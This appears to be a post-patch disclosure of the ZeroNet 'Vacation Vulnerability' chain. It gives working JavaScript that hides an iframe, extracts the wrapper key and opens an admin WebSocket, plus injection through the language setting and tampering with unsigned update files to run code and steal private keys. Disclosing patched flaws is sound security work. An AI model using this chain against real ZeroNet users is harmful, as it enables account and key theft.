The Vacation

Vurnerability list

Vuln details

Type: Remote Code Execution
Affected clients: all
PoC: click

On September 27th, 2018 suspected exploitation of a series of vulnerabilities was found on a public ZeroNet proxy. The timing couldn't have been worse as nofish, ZeroNet's main developer, was currently on vacation. Affectionately named "The Vacation Vulnerability", a group of ZeroNet website developers set out to understand what happened and develop a patch for ZeroNet that could prevent the same happening to other users. A few days later, once the patch was near completion, nofish returned and began collaborating with the developers on a solution and a disclosure. After some tweaking, the patch was released, but full details were held back until a majority of clients had updated to protect themselves.

Now that many people have updated, the vulnerability details are released below in full. Credit goes to GitCenter for vulnerability discovery and the website you're currently reading.


HTML/HTM extension is checked in lower case, so using filename like index.HTM would result in escaping iframe.

There are a few places where .htm or .html extension is checked — however, they are checked either with str.endswith() or str.split(".")[-1] == .... For example:

# Render a file from media with iframe site wrapper
def actionWrapper(self, path, extra_headers=None):
    if not extra_headers:
        extra_headers = {}

    match = re.match("/(?P<address>[A-Za-z0-9\._-]+)(?P<inner_path>/.*|$)", path)
    if match:
        address ="address")
        inner_path ="inner_path").lstrip("/")
        if "." in inner_path and not inner_path.endswith(".html") and not inner_path.endswith(".htm"):
            return self.actionSiteMedia("/media" + path)  # Only serve html files with frame

This leads to a way to disable wrapper without using NOSANDBOX permission, which would, of course, shock the user — it's description is:

Modify your client's configuration and access all site (sic)

By the way, looks like there is no way to use index.htm or main.html or any other page instead of index.html. I'm quote sure that the lack of this Apache's feature will make it harder to switch sites to use ZeroNet.


Wrapper can be embed to <iframe>.

Let's try to add the following code to index.html:

<iframe src="/"></iframe>

This code opens wrapper (which renders ZeroHello) in iframe. However, it doesn't work. If you open Chrome console, you'll notice this:

Refused to display '' in a frame because it set 'X-Frame-Options' to 'sameorigin'.

Oops. Moreover, if we try to use iframe.contentWindow, it simply won't work: because of sandbox attribute on the iframe containing our index.html.

However, there is a solution. We have #1, so sandbox is not a problem now. Using code from index.html is not a good idea, because we'll be immediately redirected to ZeroHello, however, we can add sandbox attribute ourselves:

<iframe src="/" sandbox="allow-same-origin"></iframe>

Easy-peasy. Add some styles like opacity: 0 and it's ready. Moreover, no scripts will be executed, so <script> tag that contains wrapper_key won't be removed.

function createIframe() {
    let iframe = document.createElement("iframe");

    // Hide iframe
    iframe.width = 0;
    iframe.height = 0;
    iframe.border = 0; = "0px"; = "0px"; = "none"; = "0"; = "0"; // just in case = "fixed"; = "-1000px";

    // Set sandbox
    iframe.sandbox = "allow-same-origin";


    return iframe;

// First, we create an empty iframe
let iframe = createIframe();

// Load wrapper
iframe.onload = wrapperLoaded;
iframe.src = "index.html";

let ws;
function wrapperLoaded() {
    iframe.onload = null;

    // Find script
    let initScript = iframe.contentDocument.getElementById("script_init");

    // Get code
    let code = initScript.value || initScript.innerHTML || initScript.innerText || initScript.textContent;

    // Find wrapper_key
    let wrapperKey = (
        .replace(/[^A-Za-z0-9]/g, "")

    console.log("Wrapper key is:", wrapperKey);

When we have wrapper key, we can connect to websocket that ZeroNet wrapper uses:

class ZeroWebsocket {
    constructor(url) {
        this.url = url;
        this.next_message_id = 10000000;
        this.waiting_cb = {};

    connect(isReconnect) {
        this.connected = false;
        this.message_queue = [];
        this.isReconnect = isReconnect; = new WebSocket(this.url); = this.onMessage.bind(this); = this.onOpenWebsocket.bind(this); = this.onCloseWebsocket.bind(this);

    onMessage(e) {
        let message = JSON.parse(;
        let cmd = message.cmd;
        if(cmd == "response") {
            if(this.waiting_cb[]) {
        } else if(cmd == "ping") {
            this.response(, "pong");

    response(to, result) {
        this.send({cmd: "response", to: to, result: result});

    cmd(cmd, params={}, cb=null) {
        this.send({cmd: cmd, params: params}, cb);

    send(message, cb=null) {
        if(! {
   = this.next_message_id++;
        if(this.connected) {
        } else {
        if(cb) {
            this.waiting_cb[] = cb;

    onOpenWebsocket(e) {
        this.connected = true;

        if(this.isReconnect) {
            if(this.onReconnect) {

        // Process messages sent before websocket opened
        for(let message of this.message_queue) {
        this.message_queue = [];

    onCloseWebsocket(e, reconnect=10000) {
        this.connected = false;
        if(!e || e.code != 1000 || !e.wasClean) {
            // Connection error
            setTimeout(() => {
            }, reconnect);

window.ZeroWebsocket = ZeroWebsocket;
function connectToWebSocket(wrapperKey) {
    let proto = location.protocol.replace("http", "ws");
    let ws = new ZeroWebsocket(
    return ws;

let ZeroFrame = connectToWebSocket();
ZeroFrame.cmd("siteInfo", [], console.log.bind(console));


Language can contain .., which results in reading JSON file outside current site or plugins/ directory.

This vurnerability was not used in The Vacation attack, and I can hardly imagine how it can be used, but it's a vurnerability — so I report it as well.

ZeroFrame API has a command called configSet. You pass it key and value and, if the key is tor, language, tor_use_bridges or trackers_proxy, it saves it to zeronet.conf.

So, here comes the idea. We can call configSet (it's admin command, but we have admin right because we are directly connected to WebSocket) with language key and pass it some path. ZeroNet would join languages/, your string and .json. It may look like if you pass ../../users, it would point to users.json. You're right, but looks like there is no way to read that file somehow. When site data is translated, language name is checked against ... When plugin text is translated (e.g.: Connected and Delete in sidebar), file path is not checked, however, we can't change sidebar text — so it doesn't help at all.


Language can contain " and <.

This vurnerability was not used in The Vacation as well, however, it may simplify stealing mail or something like that.

Most sites made by @nofish (e.g.: ZeroHello, ZeroMail, ZeroMe, etc.) use <script src="...?lang=en"> to include JS files. It's a pity no one else uses it, because it's a useful feature. Originally, to avoid caching the wrong language. Pretend you choose English language in ZeroHello, and then switch to Chinese. English version would be cached, and you'd have to wait for cache to expire to download the new, Chinese version.

Using ADMIN permission we had from #2 and using configSet like we used it in #3, we can change language to "></script>YOURCODE<script data-a=" and embed our HTML code (or JS code, if we add script tag) to other sites.


ZeroUpdate code is not signed.

It's time to remember that ADMIN permission gives us access to all sites. What about such site as... ZeroUpdate?

New way to receive updates (currently optional): Simply visit site 1UPDatEDxnvHDo7TXvq6AEBARfNkyfxsp to receive updates via the ZeroNet network. Next time when you push the update button of your client, then it will use this site to update your client to the latest version. This way you don't have to trust SSL Certificate providers/source-code hosting companies, because everything is cryptographically signed. It's also delivers the updates to countries where github is not accessible. ZeroBlog

"Cryptographically signed". Yeah. But what exactly is signed? File transactions between peers. Not files themselves. So if someone gives you a file with wrong content, you'll notice it -- the signature doesn't match the one inside content.json, which is cryptographically signed. But you'll never notice that a signature doesn't match if you change the file yourself.

This leads to a way to run Python code on your machine. Simply change some file in ZeroNet folder of ZeroUpdate, and ask the user to update. Or even don't ask: call serverUpdate yourself. The user won't even notice the error message:

Connection with UiServer Websocket was lost. Reconnecting...

...because it is drawn by the wrapper — and we've disabled it.

So what can we do? We can change some rarely used file, e.g. from a library, such as PySocks — or even an executable, like tor.exe. Our script (or executable) would steal private keys for your sites from users.json. It would steal private keys for your ZeroID, KaffieID and PeakID accounts. It would steal encryption keys for your ZeroMail.

This page is a snapshot of ZeroNet. Start your own ZeroNet for complete experience. Learn More